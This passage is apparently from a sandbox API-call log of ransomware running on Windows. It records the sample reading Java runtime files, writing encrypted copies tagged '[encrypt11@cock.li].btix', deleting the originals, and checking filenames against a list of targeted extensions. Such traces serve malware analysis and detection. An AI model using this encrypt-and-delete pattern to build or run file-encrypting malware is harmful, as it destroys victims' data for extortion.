Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.369] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0154.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.369] lstrlenW (lpString=".doc") returned 4 [0154.369] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0154.369] lstrlenW (lpString=".docx") returned 5 [0154.370] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0154.370] lstrlenW (lpString=".pdf") returned 4 [0154.370] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString=".xls") returned 4 [0154.370] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString=".xlsx") returned 5 [0154.370] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0154.370] lstrlenW (lpString=".ppt") returned 4 [0154.370] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.370] lstrlenW (lpString=".zip") returned 4 [0154.370] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString=".rar") returned 4 [0154.370] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString=".bz2") returned 4 [0154.370] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString=".7z") returned 3 [0154.370] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0154.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.370] lstrlenW (lpString=".dbf") returned 4 [0154.370] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.370] lstrlenW (lpString=".1cd") returned 4 [0154.370] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.370] lstrlenW (lpString=".jpg") returned 4 [0154.370] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0154.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.371] lstrlenW (lpString=".doc") returned 4 [0154.371] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString=".docx") returned 5 [0154.371] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0154.371] lstrlenW (lpString=".pdf") returned 4 [0154.371] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString=".xls") returned 4 [0154.371] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString=".xlsx") returned 5 [0154.371] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0154.371] lstrlenW (lpString=".ppt") returned 4 [0154.371] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.371] lstrlenW (lpString=".zip") returned 4 [0154.371] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString=".rar") returned 4 [0154.371] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString=".bz2") returned 4 [0154.371] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString=".7z") returned 3 [0154.371] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.371] lstrlenW (lpString=".dbf") returned 4 [0154.371] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.371] lstrlenW (lpString=".1cd") returned 4 [0154.371] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0154.371] lstrlenW (lpString=".jpg") returned 4 [0154.371] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0154.372] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0154.372] lstrlenW (lpString="cursors.properties") returned 18 [0154.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.372] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1280) returned 1 [0154.372] CloseHandle (hObject=0x398) returned 1 [0154.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0154.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.372] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.372] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0154.373] GetLastError () returned 0x0 [0154.373] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x500, lpOverlapped=0x0) returned 1 [0154.374] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x510, lpOverlapped=0x0) returned 1 [0154.374] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.374] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1 [0154.375] SetEndOfFile (hFile=0x36c) returned 1 [0154.375] CloseHandle (hObject=0x36c) returned 1 [0154.375] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.375] SetEndOfFile (hFile=0x398) returned 1 [0154.375] CloseHandle (hObject=0x398) returned 1 [0154.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.376] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0154.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.376] lstrlenW (lpString=".doc") returned 4 [0154.376] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0154.376] lstrlenW (lpString=".docx") returned 5 [0154.376] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0154.376] lstrlenW (lpString=".pdf") returned 4 [0154.376] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0154.376] lstrlenW (lpString=".xls") returned 4 [0154.376] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0154.376] lstrlenW (lpString=".xlsx") returned 5 [0154.376] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0154.377] lstrlenW (lpString=".ppt") returned 4 [0154.377] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.377] lstrlenW (lpString=".zip") returned 4 [0154.377] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString=".rar") returned 4 [0154.377] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString=".bz2") returned 4 [0154.377] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString=".7z") returned 3 [0154.377] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0154.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.377] lstrlenW (lpString=".dbf") returned 4 [0154.377] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.377] lstrlenW (lpString=".1cd") returned 4 [0154.377] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.377] lstrlenW (lpString=".jpg") returned 4 [0154.377] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.377] lstrlenW (lpString=".doc") returned 4 [0154.377] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString=".docx") returned 5 [0154.377] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0154.377] lstrlenW (lpString=".pdf") returned 4 [0154.377] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0154.377] lstrlenW (lpString=".xls") returned 4 [0154.378] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString=".xlsx") returned 5 [0154.378] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0154.378] lstrlenW (lpString=".ppt") returned 4 [0154.378] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.378] lstrlenW (lpString=".zip") returned 4 [0154.378] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString=".rar") returned 4 [0154.378] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString=".bz2") returned 4 [0154.378] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString=".7z") returned 3 [0154.378] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0154.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.378] lstrlenW (lpString=".dbf") returned 4 [0154.378] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.378] lstrlenW (lpString=".1cd") returned 4 [0154.378] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0154.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0154.378] lstrlenW (lpString=".jpg") returned 4 [0154.378] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0154.378] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0154.378] lstrlenW (lpString="javafx.properties") returned 17 [0154.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.379] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=56) returned 1 [0154.379] CloseHandle (hObject=0x398) returned 1 [0154.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0154.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.379] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.379] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0154.381] GetLastError () returned 0x0 [0154.381] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x38, lpOverlapped=0x0) returned 1 [0154.482] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x40, lpOverlapped=0x0) returned 1 [0154.483] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.483] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf6, lpOverlapped=0x0) returned 1 [0154.483] SetEndOfFile (hFile=0x36c) returned 1 [0154.483] CloseHandle (hObject=0x36c) returned 1 [0154.483] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.483] SetEndOfFile (hFile=0x398) returned 1 [0154.484] CloseHandle (hObject=0x398) returned 1 [0154.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.462] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0155.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.463] lstrlenW (lpString=".doc") returned 4 [0155.463] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.463] lstrlenW (lpString=".docx") returned 5 [0155.463] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.463] lstrlenW (lpString=".pdf") returned 4 [0155.463] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.463] lstrlenW (lpString=".xls") returned 4 [0155.463] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.463] lstrlenW (lpString=".xlsx") returned 5 [0155.463] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.463] lstrlenW (lpString=".ppt") returned 4 [0155.463] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.464] lstrlenW (lpString=".zip") returned 4 [0155.464] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString=".rar") returned 4 [0155.464] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString=".bz2") returned 4 [0155.464] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString=".7z") returned 3 [0155.464] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.464] lstrlenW (lpString=".dbf") returned 4 [0155.464] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.464] lstrlenW (lpString=".1cd") returned 4 [0155.464] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.464] lstrlenW (lpString=".jpg") returned 4 [0155.464] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.464] lstrlenW (lpString=".doc") returned 4 [0155.464] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString=".docx") returned 5 [0155.464] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.464] lstrlenW (lpString=".pdf") returned 4 [0155.464] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString=".xls") returned 4 [0155.464] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.464] lstrlenW (lpString=".xlsx") returned 5 [0155.464] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.464] lstrlenW (lpString=".ppt") returned 4 [0155.464] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.465] lstrlenW (lpString=".zip") returned 4 [0155.465] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.465] lstrlenW (lpString=".rar") returned 4 [0155.465] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.465] lstrlenW (lpString=".bz2") returned 4 [0155.465] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.465] lstrlenW (lpString=".7z") returned 3 [0155.465] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.465] lstrlenW (lpString=".dbf") returned 4 [0155.465] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.465] lstrlenW (lpString=".1cd") returned 4 [0155.465] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0155.465] lstrlenW (lpString=".jpg") returned 4 [0155.465] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.465] lstrcmpiW (lpString1=".ja", lpString2=".btix") returned 1 [0155.465] lstrlenW (lpString="psfont.properties.ja") returned 20 [0155.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.466] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2796) returned 1 [0155.466] CloseHandle (hObject=0x2fc) returned 1 [0155.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0155.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.466] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.466] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.467] GetLastError () returned 0x0 [0155.467] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xaec, lpOverlapped=0x0) returned 1 [0155.467] WriteFile (in: hFile=0x368, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0155.468] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.468] WriteFile (in: hFile=0x368, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xfc, lpOverlapped=0x0) returned 1 [0155.468] SetEndOfFile (hFile=0x368) returned 1 [0155.468] CloseHandle (hObject=0x368) returned 1 [0155.468] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.469] SetEndOfFile (hFile=0x2fc) returned 1 [0155.469] CloseHandle (hObject=0x2fc) returned 1 [0155.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.469] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0155.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.470] lstrlenW (lpString=".doc") returned 4 [0155.470] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString=".docx") returned 5 [0155.470] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0155.470] lstrlenW (lpString=".pdf") returned 4 [0155.470] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString=".xls") returned 4 [0155.470] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString=".xlsx") returned 5 [0155.470] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0155.470] lstrlenW (lpString=".ppt") returned 4 [0155.470] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.470] lstrlenW (lpString=".zip") returned 4 [0155.470] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString=".rar") returned 4 [0155.470] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0155.470] 